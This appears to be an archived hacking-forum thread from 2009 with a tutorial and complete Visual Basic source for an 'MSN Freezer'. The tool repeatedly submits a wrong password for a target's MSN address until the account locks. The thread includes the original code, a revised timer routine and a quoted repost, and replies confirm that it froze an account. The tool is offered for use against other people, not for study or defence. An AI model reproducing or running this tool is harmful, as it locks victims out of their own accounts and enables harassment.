+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TUT]Visual basic 2008 - Make A MSN Freezer! (/showthread.php?tid=208974)
[TUT]Visual basic 2008 - Make A MSN Freezer! - brianpsv1 - Dec 19, 2009
Hello,
What are we going to do?
- Making a MSN Freezer.
What does a msn freezer does?
- Making an msn account freeze so the MSN Account can't be accesed.
What program do i need to make an MSN Freezer?
- For this TUT you will need Visual basic 2008
Ok let's start
- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text
Copy and paste this :
Code
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
GoTo done
errordetected:
Label3.Text = "Frozen!"
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFrozen!")
Timer1.Enabled = False
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End ClassNow you can build the program and use it as a MSN Freezer!! 🤝
Credit goes to me for making the source and making the Tutorial!
Greetings,
Brian😎
* - Ziore - Dec 19, 2009
YAY! what if you make the thread in the "Visual Basic" Subforum?
* - brianpsv1 - Dec 19, 2009
I posted it here because it's a tutorial but I could post the source there.
* - Gonzo - Dec 19, 2009
Nice one mate .:)
* - YehiaPC - Dec 19, 2009
well nice tut
but can u give me link for visual basic 2008 ? because i cant download it from anywhere ? :O
* - brianpsv1 - Dec 19, 2009
http://www.microsoft.com/express/download/
:)
* - snake38 - Dec 19, 2009
Nice, but when i click "Freeze", there is "freezing..." and it stay like that .. But the account is frozen ! But there isn't "Account frozen!".
Sorry for my english
* - brianpsv1 - Dec 19, 2009
how long did you try to freeze??
It should become "Frozen" if it says to much attempts
* - snake38 - Dec 19, 2009
10 min now lol
But the account has been frozen.
But no positive message.
* - YehiaPC - Dec 19, 2009
(Dec 19, 2009 12:40 PM)brianpsv1 Wrote: http://www.microsoft.com/express/download/
:)
this one is cracked with no trail period ? LOL ?
* - brianpsv1 - Dec 19, 2009
ok replace this for Timer1_tick sub:
Code
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
TextBox2.Text = Val(TextBox2.Text) + Val("4")
If TextBox2.Text = "20" Then
Label2.Text = "Frozen!"
End If
GoTo done
errordetected:
Label2.Text = "Frozen!"
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:
End SubYou must also add a new textbox with visible set FALSE and text set "0"
* - snake38 - Dec 19, 2009
Yeah it work, i have the text "Frozen".
But the program still work, and it lag, it is normal ?
* - Error 404 - Dec 19, 2009
Pretty usefull,ty.
@Snake38 Just mod the code dude.
* - A3N - Dec 19, 2009
Thanks alot sorry for my bad english i am French ^^
* - brianpsv1 - Dec 19, 2009
(Dec 19, 2009 11:08 AM)brianpsv1 Wrote: Hello,
What are we going to do?
- Making a MSN Freezer.
What does a msn freezer does?
- Making an msn account freeze so the MSN Account can't be accesed.
What program do i need to make an MSN Freezer?
- For this TUT you will need Visual basic 2008
Ok let's start
- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text
Copy and paste this :
CodeImports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
GoTo done
errordetected:
Label3.Text = "Frozen!"
WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFrozen!")
Timer1.Enabled = False
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End Class
Now you can build the program and use it as a MSN Freezer!! 🤝
Credit goes to me for making the source and making the Tutorial!
Greetings,
Brian😎
this one is cracked with no trail period ? LOL ?[/QUOTE]
After the trial period you can license it free from microsoft site.